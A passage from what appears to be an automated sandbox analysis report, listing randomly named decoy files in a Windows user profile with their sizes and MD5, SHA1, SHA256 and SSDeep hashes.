SHA1: 09dcddc4dd5084ca35ddce91cd62371b8e61c43b
SHA256: 3224911b53be745ced41d57f33e803a995156eb0bcb3c74f80f91d8f84656012
SSDeep: 768:ZpKoyihZXu4KDXt89TyC47iCxMw0F72smsPh7yD0Tt32zvIXdHHn:mZihZehOTyD+CxMpFqUbTx2z4dHH 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\kwu4Zgrqa-j.wav 56.77 KB MD5: 47a5f0abdb0d267f647b7b4211b94f11
SHA1: 6db605790f0ec96a6533517f802a3b6f4c2b0256
SHA256: 2d7b8a5449646b9b4da9cbfe8d88ad1fa77a74acd0fad39da68cea6bdfa63275
SSDeep: 1536:gS9HmGX5fX1r9PM9d5IB06j7/pVG1VUnB:b9HmGXB1rFYzIeK7/7G/W 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\L2lRvkk38ZbjI6t.wav 3.08 KB MD5: 767fddf2794194244af53ca7804467d3
SHA1: bf85f60a0e139fc76711570aec5b2b3b3df99a46
SHA256: c0015f195155f2ca75bbfdc7f721275fdcba9792afbe5a9be628b547948acfd6
SSDeep: 48:gW76DvqU742QKkGo51BIOm9lCm/FuT5VE6vymuuKdUNqNS86aeohR6rDXYS6LrOK:gS6Diu42FVc1BOmxOS9aeQukhrSD8bf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\seA7TG2NfEjVmCk47L.swf 52.48 KB MD5: eeb0d5d6017d37dcdfddf802dfe266b7
SHA1: f5d391183d923a4d188e0bb923a93a2b6b5eb524
SHA256: 5626323789ce4b4e4b7a29ebdd575177396fff5bd01a9e838e03b11912fef943
SSDeep: 1536:N1ElqdM8DQuRkxsZSnKoOXiES+8A5rdqxCU56xd0IHR2m8h:zCqdpDQzKoOXTS+8eRqCxd06R25h 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\wYQXyL4TNJyXDwt.xls 46.64 KB MD5: e7db1d194c6c9ae0ad7438fc546d3741
SHA1: 279af6316d830286836b438acf8462632af78db5
SHA256: 85fb7fb0e001fe5eed77e255ada69cf3eb0d782feb2e61aab4f0e97e600fee80
SSDeep: 768:zsieFBynh9xi4sWKuXfzYTOLFyYfck87V13R62eUTxgUEvr/KeRpubG7I0azmgCA:9ez5aLqtx7D3R62eUTxque/EG7GKer 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\cWhuivOd.ods 10.36 KB MD5: 8f6aedb84e93ee48494187e85a2b11d1
SHA1: 2c899aa2390b679abb5b2ba8d11cb507d65501a5
SHA256: b898a365d30cd966605ba5ed713caf0295c7d4ee1459fa24d03925277f4a2e62
SSDeep: 192:tVTdQ1jM5nG9kh+DVJoUd3EyIlaLkTyFisFtl/JcpscLpEbNIidmXJ:tVT+M1+DsE3E/lukmRBcqCEbNLcJ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\nI-a EyZHIqzRrkt2.pdf 52.17 KB MD5: 608bcf4030e4d8a82bc771060afd3e8c
SHA1: 18d3480df8bd294cbca9e1c417bcc3fed334b0d6
SHA256: c454d452e1aed15d2404fe62ac862750bc0731a1cc1941423d9ea90739f13493
SSDeep: 1536:x6Vu5vcnsaVGNBY7GGnqr/2GSd6cXBKbJls6:U+vcnRINOc2lBKfH 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\oyegcKVpN.pdf 82.50 KB MD5: 5b3fd497512a53a46f1277e861c6b233
SHA1: 5cc07fc0c3386118f214fe21b9a1f33afecc590e
SHA256: c5232a1e9253f705480f3a1d591daca8b6eeb8be62046fbaaad273cc6f568c02
SSDeep: 1536:9gyGWZcMyjq27+zN5k9x9cjrEB4xJCsXdRWfZLi/nWZKNxukrrhhz1F4I:9gbZMye2Sz7U9srEB4xJ1uE/WZkX1F4I 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\qHHCf1DuRREhYQ07.ods 62.42 KB MD5: cb2998fd9eb7e457eb6f0525e215d94d
SHA1: f591effae9360165c68cc415fc072aab4a5fc42f
SHA256: 4e71c05e954bdebe9dfb3bd003e10cfe2b7f2a9bdd0653b95764ec32602eadeb
SSDeep: 768:LsmmiA2ht6Cb+TeIR7XEhS22ojXt1W2hg1Jazquj8JAAlKVXulP3NwZp7H5924pm:LsmDR+TZJEh9pXH5VjOlKluYe4M 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst 265.08 KB MD5: 7f3c928c6524951ee2aa2ad72c4623b0
SHA1: b2c9b3106612cba8aba68ae8e30439eb8510b09a
SHA256: f7e48a5ec65e262a431a9ebb8a56e3b519ece79e618e3871a702b21148282782
SSDeep: 3072:xBjZyn8cTg1NZQDO4kSK5X8eZPtuZTUZF8/UsArnAL+xRLXBR:xWdiQDbkS9qtaIqJAbRR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url 304 bytes MD5: 1ea6de0573e2c932c2cb86bc93f16ac4
SHA1: 694009855d7763ce76279b38985b6b42175ba640
SHA256: b8b4a2f333b00499efe1c8479d1b8fac02c5827461d41ae0759425ed2ed4ee5d
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekGTVYBHE27fNGkaAFW6lPbNKeeYc1X60QjlbeWxciik:3QXRGTsy/kRHFZzaAwANKzeEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url 211 bytes MD5: 852fa21677f8cf7c10697b1ee2ece000
SHA1: bf6c925487aeb058b13fb5c91be02eef45b43cf4
SHA256: 456ffe1debd40312a36c4f3b8e5916f42036dbfcad6d4961056ca1936c7a78d1
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekMGfwc1X60QjlbeWxcii96Z:3QXRGTsy/khfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url 211 bytes MD5: c14991ed3b91b9db66a5f47eb9320d69
SHA1: 963aec3e565885921b3db05a57a5d169de3b7600
SHA256: d59505ba0078653ea9e38b48c13bd748a993d1e9becd1f52440a9dfa523ce76c
SSDeep: 6:JxWdfXMcTG/YlG3rsylu+a5Gfwc1X60QjlbeWxcii96Z:3QXRGTsyfBfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url 211 bytes MD5: 5671fa0bdb9b530c6e8d2f0817d8276d
SHA1: 6c2a074159cc9f17d89a182b680affae84393888
SHA256: b8d587629712dfabd571a73bb2cb1b78bb965e01c10f4019214c22240622d8cd
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekz8Gfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzxfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url 211 bytes MD5: 83ce917acd642b370a9685d99659bf69
SHA1: d3b3c5d5b0bf94214e2cc439e9662a188d5cd070
SHA256: a1a89135b06967615b0ef21642c213d3d57eb960039c03e56b82031e23efe971
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekNR+2Gfwc1X60QjlbeWxcii96Z:3QXRGTsy/kNkfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvY6pS.mp3 41.38 KB MD5: d344caed3ae87cf3062f4d18b5b8e1b9
SHA1: 52a8fc65632aa8eab08fa05e238dc52adff03460
SHA256: eea77cbaa801b77e45b7d3976db5eb748018cc75b756d875fbc20ba7b0d6d71c
SSDeep: 768:Iy1qqsOqq2ExRVQw4DhmT4CCXEpDtK9zrGAsVRUmUL1lzQaIEFYm:Iy1prXVQ5oT4C/eOZ+lzJFL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iKO7d8t_cC0UV.mp3 93.99 KB MD5: b375610b9bc1b511b4a5e65a01310fd7
SHA1: f5b17e30820c18bacb4b8c73a460dbf1241a5189
SHA256: a903180a11894ef6c5c81cd7adffd2065f1cbc9757903d1793c7d1745efca8a5
SSDeep: 1536:/SNhIWSmsU3ONS32hUWrwGui7oVvXKTpmAUw93gqMVTnrGAGqKO+hQdu3Y+di0KK:/SNhmmrKSGhUOXnoZXgVB+Gp6u3Yai0n 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\IthrlB_pUrgCwH3pRgGO.m4a 85.81 KB MD5: 56a38589e582b156d5b98f97197bcf23
SHA1: 107e4c4110a02c9738dd115f9b5c63537d20f090
SHA256: 826b42d1f0e18896e791f1267500b64d5265c3ec07867fcadd2b72ccc8f3109d
SSDeep: 1536:VfRxyAwZNbeXmwhIJhR/BhoeVw7Vg/8RiL/nQOscNNG+p3Av:FRsN3ev6l/Bhoea7Vg1/nQOz+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iWxzhwPIqb5mZjuvcv.mp3 23.34 KB MD5: 5530b3725020a3946fff22cb2368bb01
SHA1: c133d8b0caf44a6b7828642d0acc1b9380053ac7
SHA256: 9b3f6673e77c566d2b9d42b952935242de18549b694fbf23f82e0513c3680850
SSDeep: 384:QVmYECnoA0JK5eaZpj7XUVI/9y0utN8VFJg2d09grwzQA71ebXwSIrDqXIWi:QVpNnomuVIVStqPJxd097vwbXwS+DCIh 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\lQDTQxNwKpz.m4a 49.54 KB MD5: df59d8b33d3dd0495491cbbdb0d4cac2
SHA1: 3a9e7ae99b4e0e63282334217a2c40392f67c8f9
SHA256: f618eb4109d85a4a846002e72579dc77831cb39bc532283b1035be437dcabedd
SSDeep: 768:wE8xdORd14L4Aeg+jz7pYyLSqifkYTrM+uB+0bWnrSIFPpsEM4/0tEfHXKkyfnZ0:wEaQXyKOz3Vq+GWrSY3M4/0saky8GMN 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\M-cTe5oTGVM6J9Ms.wav 94.85 KB MD5: ce51ec5a1dd56480260f1103352ed1e7
SHA1: 57f97483c470b1685acf8bf2141542d2ca42a330
SHA256: bf4577bb5387c89582e7d8ec3e9494023291d981936fbc1aa90ee332fb344f2e
SSDeep: 1536:gfo27sO6qZysNRoLmo7ED/p0PKKsJllmfmVicmcgL2SOg2XFpaWnh7Q:UoO69VY10yKYlTG2WMFgD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\W 8TSw1xhJnpWHI.m4a 68.00 KB MD5: e430ece307585d4a72b5b87280fa43eb
SHA1: afe58f82a978f6702a598f8fc9d00b9f47504713
SHA256: 32777c4ab222d4da53f29021858291d79e8e6d0bc6d79713b17f806c07d36822
SSDeep: 1536:nbznN0MuXqTz2LWMRtueIIi3ykVE02Y6x3qaGqeKSLkZsY5xf:bzNY6TyUykp2Rqr3f0sm 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\gWv1KyJiGPxpOMqL3.png 2.01 KB MD5: c1606b38e55ef3fceb932fe7f4718300
SHA1: 1556de39d915151ed35e8f4dcbd314bfa29ab31e
SHA256: e8d1ffc446941e2d9106a1766fb83cbd294b3cee90e7c4961166418a24f528cc
SSDeep: 48:y9SkZhDBXlk8H3azyziiOJZE2duJFXdW3ZjIPwulKUZKD:yRBuS3azyzih4bFt1PnlhZC 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\qHB6k1yx.png 72.89 KB MD5: 74b47dcc25fc6269285aef4e494e7fa8
SHA1: 6a102060ad2010c07c854b9f4dc1196646b44c1a
SHA256: ec2447b6f3209609d8bbf154c97e94625f90cd3789ad89cadeaf301f5045aada
SSDeep: 1536:nS4/QuxA0MAHjsR+H6YzOQgpqadLXgg0F3npUzbQL:nJIux/XDsCbmpqadQg0FZUz0L 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\M8EaxMEcyaid.swf 7.37 KB MD5: 92754190f096767de53679d70b708ede
SHA1: 2c1620252d3a3fc7196d2abf434763a221babf16
SHA256: ccfee3b244a7bc652ce8e3b1f0e5cd27538361877826df01953e667a5e744930
SSDeep: 192:ws23BmjRwKOOV7PAOlWvM2VZ44X2xZjsN0Cu:ws23BmjmGV4vzO4X2xZj15 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\Re_R5.swf 73.95 KB MD5: 0dae05ba9c356a62c6626680fc10b37e
SHA1: 1e9f7860e73755931c31931dad24bf4030212b55
SHA256: f7836df1fecddb3de9c1a07d2ff3e45940c839f58f43b39ee591bbcf5d9903e0
SSDeep: 1536:PqV0LZgDgRFZyEjqClxgHBZ+Yqh5bWgZ1V3FFuReAtQDst:ICq5fW0M1BFFuQAqst 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\s3BE.mp4 22.62 KB MD5: aaa089e5d5210627b108a011ff27658d
SHA1: 55ba900af11060af519671183ac9cda028694436
SHA256: 014ff639d3807da6117748c5820c2ff498a8445462b1b7a0f45338f21880d690
SSDeep: 384:PDX9TGpZegOP2O4DPy4RYtITN+28tebGMlbhU4mekly3BpkuuzANwytCWuIH:JiZDPKA4QNStjM/U4mv4MLJytCpIH 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\8eSNutIhoJBu4xJsfd.odp 37.34 KB MD5: 37790a5755c1cf519edd4af1a3e75a72
SHA1: 12aa1d34ab0bb1bf630efa983db674746e5f69b9
SHA256: ba8da9f4f50bdc371ce6caf5397aba68f004986bc21ac49789211dc72d523c31
SSDeep: 768:4+xZ6TAWCO8BPEOjzivqxmIUjAu1JMXxNewnAGlL4LQuct8nSUb5AtOoFcl:4+x7W18dzkqRUx1JMXamAGJq7ct8nZ5r 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\P7n5oLz_D.ods 35.62 KB MD5: d417c89476308d0eecf589e21a61c388
SHA1: e4d124a4c62b6513925745c2afdfeb4ef57d7564
SHA256: d2c7a7bd61e638929bba2977a9a687fbe172f8a8871f70482d570579b4636fa7
SSDeep: 768:SGS9rDhCT/dV49yZal7bu7p06HlnF+YqpM8EOcnkV:SGS9q749xbu7p06jHP8wkV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\vRok2UtD99B94w3KRv.rtf 28.28 KB MD5: 6eba650f18170cdf8381a63422483ab8
SHA1: 77990503272d84c24c6b0dddf56c688f766d9135
SHA256: 237532db22d8c382cced15db1d21de70eb60b56a623edad916c5a9c3a6b07549
SSDeep: 768:XAYqqoNDPcoFe/2q+P82Yu8lAsMT6ANcP+:QYvoVPcx/2RPLTzCW 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\HUu e.png 69.18 KB MD5: a1f74c70513c45fb444b1cc2875b3392
SHA1: 725eb0652809cffcc0d53a11c567ff785c50bb91
SHA256: 59fc676c8e0d1dfcf74deca6833176419c2578aa354e041d8e5905e4baa4a019
SSDeep: 1536:rNqhqOqtd8+x7s4BjVtQMpg1lxIfDNEtzE3rGqYyoYc2R:rMgd55PxpOl0NES7GXbYZR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\LWp5__rH.mp4 95.02 KB MD5: b4da0f4ee5b347b21ceee65b70a896fd
SHA1: 14b4429c614c22021b93699a40aebc7f85e688ee
SHA256: 8399335a9a737459fe24f6fec3b02be95d88a2f12ae0a9e3da38fb24e9edb998
SSDeep: 1536:25kzWwW7FE4dKEPRLOKBRwGWZxOo/xW8OL0JT1zK3EJk8LwVre7erswmZxViz2Ur:25kzI7y4VP0KBRwGWZxOo/7OoJJiE6Vr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\nw RAVZ-b0JJW.swf 2.34 KB MD5: ea2524742e2a3a1cd57204cad3144cee
SHA1: 934262b86de6add2dbb7dd66dd6b3ded93919884
SHA256: ce82ee77b1dd1f07b91de654e8ddfc95e8e9e2c9fe1d275e858cb55596a80492
SSDeep: 48:h04o7l/+3Tf0vPWkXTtvOQ21f+iGyZJ+hpulu5ABEC/jGUKmVD:KY3Tf0WkpOQ2NoEquQ5elp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\S FkKZQLF_GPV0N.mp4 68.86 KB MD5: 21ffb3ee24f09a60269947494937d933
SHA1: eac88fc445e678af7f26c298004cc8fb6308ea95
SHA256: a78c6d211ec9d7fcd946dec072fdf2f39dc08ac213ba7d0edc51d4d175f4caa0
SSDeep: 1536:jev0uADHKN/WxswSAsvoTVqdcV9olmpS9SUgVvm0XVLPdt7tWoMYpxg3m5:jesrDq5wdsACcLvw0FPPcQpom5 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\VkA9WpG3QP_KI.flv 85.92 KB MD5: 081cb1d3b727004d6b0a7f8e80a6f2e8
SHA1: da41d4c6c80c4f6ae86f6d2c60f4c6ecfe8933ce
SHA256: 8ae8325b5e146cca4b682b47a2c1dedff3f93fb9cf0dffa1b3e0bea2164f4c26
SSDeep: 1536:9T3HyapELqp6tqKWsPsCEJZkJCMsJtBsCYT4V+hqgbbKvX2ALKkaHgkC6DTHxSDX:9LvyqItqKxsZZGcJbsCYT4V+BbKvvKkp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\3e8LyOG.avi 92.56 KB MD5: a021823e173ddfbf875c0b5eed3b1057
SHA1: 3450ab547015b0ddb9b5815dd51439e9a9b5cdf3
SHA256: 3ae02d1ddc8b3e19b896414f34ca33439008877cdcf052912b8229eb15f35429
SSDeep: 1536:WX+pCqQS5b2tuiX6w9OCj31PihbT6rpUJXdp5hmngCBYx4k7NOc4Z2oHk9DQw6i:q+pghX6w9zpwaFApLmgEHk7DR9DQM 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\5Hyv.swf 16.95 KB MD5: 2d7162b7db24d636046af8f107b50d23
SHA1: e2c5d8233701b4f6d818a5c7fef0c3bac9d54e05
SHA256: fb94a72276db2559aafaaa347cde2e2b5657529c477980569f11950086541322
SSDeep: 384:lHsOZMqOVZcchSbH91r+izq0cB2ojX2FXTaFSjrF9xnQQw:lHsOZMzQ1zzq0cBzqXmFSd9xnQ/ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\USkdPbJMi5.swf 98.92 KB MD5: 5c7c3db11d4a5c4c7994e6c58c23a5e7
SHA1: 9324a213eb83ca5e7660da17624a764b3fdac50d
SHA256: 4295113dc2e05c7b7b48f9efc1931d0b1798d72562259853b1dc3f47243ede17
SSDeep: 3072:3i0ILWV9KyICLBjjHFQKgAu/W781mlgT4O+8wdsv/1:3iN0nP1lhu+IsmT4rql 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\nIoWGznt2.swf 85.69 KB MD5: 5ec9ce1872f5024d882e6b7db3f39b3c
SHA1: 4a83402559b6e906adadb12255ce30fecfc63a59
SHA256: 4f3f5b27ae69bf2ed4f2e45d5e6542fcdea1e891ee0cd718f83e54c62d82f290
SSDeep: 1536:jdZZijLx1n4GxeGceU8c2Jx4f+ZQOjOU5Dp/CNNXx/hCJy:jdZU3j4GEGcb8cu0+TOmC5Sy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\OJ7g4MMeWuj05DP.swf 21.69 KB MD5: f4084e90b2de5d427ec722722c997862
SHA1: ddbee33e438e7d6d2319a5cdc599b74d4fb9e41a
SHA256: 5025466fb2d190bfa03f249d836bbb2961fe81636cced6c1f21c77a4ad2c3915
SSDeep: 384:G21HLa/b3pGuSCXs9k1ZVIHePtRt1eFEZGC2iET1TXbhMrlzj8kGm128S/qncr6J:G21uGu892ZVnPt1e2T2B9+ZPlSV6BmA 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\DzCCnOnzxDqfuj.mp4 44.60 KB MD5: a87a93b4d10fa956e893e9a1d29c507b
SHA1: 28ff2b78d8d6497e26869f27f7dd9e55be8b2156
SHA256: fa293a7c3caed624aadc473db5378e0800729811739d471c788674b9b90ee771
SSDeep: 768:efSZahWRGaUllz1OWqxP3+09lrjRHLzLLcolThZSKUr++f/FIaLMjle:efSM88D7z1OZPO05kovEKUrTtYjs 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\lFpYY8gUsJM4.swf 6.73 KB MD5: 0cec62bccd4d438bb065dedd0fea1e89
SHA1: c01342a5ceb02d4a577277505c7a8370edffea5a
SHA256: 58b310c3ac58c743f8fc6b4b0c0e77c374a8d5fcafd59741025fe9c7fb283257
SSDeep: 96:SK0wZWELBsiS5yuu7JgbKyuhR7xRT38DilHxy7BIivZTK6iqTdnSaj90eSot:SQVeiS5hcebTu8+t07BIixiq5nS3C 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\sN0C0aYPZzpc_DWHdG_S.swf 75.15 KB MD5: a9fe84b87e2fdf4382ae0eb2f1b3093f
SHA1: b642e8692159ac3ccc9d886fc3280cd3cc787dea
SHA256: dea3e3fd63ac18f879c2c757b35e3b8b311ca7dc186a8b66a0a2de1c5d5c9267
SSDeep: 1536:d33AtDpO1RK5Xl2ddYwYBYuGeuAGh8WHna6jpEciuqBqoEpy:5A+1RKT2AmuGj9/a6jZd4qoEpy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\Ik6r7vA49Vf_2LVqLE.flv 76.95 KB MD5: d9be551e19e60e01430b5974a2d18d72
SHA1: cab35be6b25b5b9cb132bf68ab3b7def4493f63a
SHA256: 76472ddd2999ec5d8a159c695dea4280a2dff3c1f0369cda36aefa5746b555e2
SSDeep: 1536:VgRwawZ+PVxdzUfHjxPgZeDdvK+9MGIGkmpkFoQeIYHqFSu/RdNZiDSADJaWNu:dZ4KfjVRv9kEkDSqFSuZdNZiDS+JaV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\MLRf.mp4 8.74 KB MD5: a253ab6942c7d0a8e3e457acae9b3e68
SHA1: 2158bb257e0bef1d9c37f714e93901b796bef9ca
SHA256: 408591d1591916d5e932d2ac34c55e82c6cdb79f3ff3712f01166e3a6c22b655
SSDeep: 192:Y76pT53RUKXwyKTnFEgo5SZMlFXJ7mOW2max4M94XyNdPN5BYiLpb08g:Y76pTngbolF57Fnr9PHYTZ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\NjbUt_t.mp4 37.93 KB MD5: ae56fabb702a493437d4af233036f964
SHA1: aa82155ea9251f9c2348620f1ca2e27d681abb67
SHA256: 6eba742082bbca4507438f7c34db5429fc0f7735776c21ee6df57126803fc514
SSDeep: 768:d3urfT0YBgfj8RljJXgUWs08CAsiJUWOQxPLgfUbCPL1j8U:hurfT0Y278NRgYJUWOQxPEfBLJ8U 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\r5kMtufRwXsgtBq.swf 9.37 KB MD5: 603d6764b1b7e27838bcc215f8db7ecd
SHA1: daef24840503a4a6a5df9ce7fcc6b2357cfc0afd
SHA256: e4770df77ae5f68b33b71dcd1d5c8660c06cd08d5348093d5b45c5c13860a841
SSDeep: 192:SF8ZlSSMJn75NEWuv1KE4M7E+nBwae6TrTsPVfOBL91Kvo:d4fnFKrf4MXns6Tf0QL9Mvo 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7iohC33skm1MLtj_zsU.bmp 75.62 KB MD5: dd7f1f982dbb554d7a69a5ada22bd041
SHA1: f72ef10ad27031f8cc6d38e0b6723b68c8f4af95
SHA256: 664611878632bfbf369ba286b4bace472864a2b2a19881f3e7add40e5314f3e9
SSDeep: 1536:LZqFdumpXQgEy1OoIwZLogyGFino/ShqrZ5eMuLeGdV7wjuXkcUWOaIN9Ga5Y8p7:L8FdXayM/qPuBcrZ5ervdtwekhbGa5YA 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\SG-TcXI2gXzZiahbe.bmp 63.27 KB MD5: b91597e7b978070c8b788f401e5b4537
SHA1: 34ae7b39c7ec10b34484d42feffe2f8c72ee03fb
SHA256: 65b5e7635c20187dd1ca64e1e512016ec4223ac2a403f26848dd9e940fca56d4
SSDeep: 1536:/E9gu/WDMtTzie/SiVuQXlywp6mgMVMWgVnUSQjkj2ghxzNKca:YODR8SiVukVMBUSQE3xMca 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip 41.58 KB MD5: f0c622f901c5234d793fe13465bc4d65
SHA1: 82fa9106bfbe4b232f048c7c953079919dd6956f
SHA256: 2a2a1bea72fa464eee694812c609ed15977aee4cbace60065e7b50b46c91b51a
SSDeep: 768:Flapx95rXdR8JAOK38IZexI4hWzABBVoMgQBNr7nbHQjJXV5oBDhgwVD8+vkXvWC:XapFIJDK3HZeOIWUBBVXx7rQjVVingwS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties 797 bytes MD5: b7c13126d3fab061efa4bd030e2f432c
SHA1: e0846dbd3bc55f92b2b9f6f02cd74bf100957d99
SHA256: b32c7665a2b4412ba18f6c2d050e9f1290f8797dcc0894dd85bc12471430d9a1
SSDeep: 24:CBlys3smInCfRi37pXRlx4P5xAdW0EKSZbD:CzPInMRs7pXRlx4PvSzzUD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi 885.58 KB MD5: 9d33dbb5e8bb5a84be0dfd91246ccd26
SHA1: b652715b96a6a6d4cb1305aa3fc70cd01786c79a
SHA256: e88998dcb07078a7c927225da4a9fd623cf4c9da345143af2caefb8620f2d7ec
SSDeep: 6144:OtIjvrCnH64UdtxnYvA9VcGj2QELvMYI2q3ksedyPs3ETGpyIQEkmt3PNXMRiWRg:1j+nAtZDPcnikseAPsJpfjt3PEq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\befSSIGEkkRUG.png 87.14 KB MD5: 3297d3379d823a6ca193ffe4ccfb0791
SHA1: da74c480bd820485261472a464624e8980958edf
SHA256: ca8de815e4afef2475d9f2dc3364b6236df8e42681658359b80137708ed92282
SSDeep: 1536:vKBbCRAwNZfh/5wE+JkGMwfF8vIUY00kxBxioKYbbOkVWSCDHz9nkgxQydODm0WA:0HwhX+zMwtkIMFFPbbtWSCDH/QydUNg0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\3HBQ5DQDTXX2Dst.bmp 54.75 KB MD5: 99836e43d0ffa37466eeb5cf5ef04dd9
SHA1: ad844788a6403e64ca092251c2fc09a352f5104f
SHA256: 64399c1e26a2a2f7baccdd2bf14c1597a1229d68ec89da6d08a61d61231529ea
SSDeep: 1536:fDZcrAoVuS4kFCM93gsIOIIlxfRUfSIBAMMPO7:7ZcEoRUOQsIOLlDwNvMPY 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\4bEPE_RVfAAsyMzt6.bmp 59.56 KB MD5: b1980e15b97bf0263794dc6d80fac18d
SHA1: 992c5b4b931acc4090d3bdc3e8651c6103785680
SHA256: e05783c545b1f90fed64b7a1cb43288e8ca37e32fa0226736cc939bc301ea603
SSDeep: 1536:Vwo9nvA6zH8K6ZKmeLKV0RQ3iSZhxW+FTa3yJgE5D3OW4U:J9vA6zHd6aLK+Q3zZhxW+ta6jOW4U 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\9uanRu7vegqQifTY.jpg 73.94 KB MD5: 8d6f858bad99335b9994426afdb81ee3
SHA1: 75511e7f85576031f43d92de1aad79218b72dd84
SHA256: dbaadc8749ac57e44c1d796104d770d1838c6b96d22e7b3fc4fbc1733b8d37bc
SSDeep: 1536:vvIqmHdTLfZKkOX7XrkM0BdHidf1rB+Zd5fbb7:vvZmHp5ObrOHyB+Z/Db7 		False
...
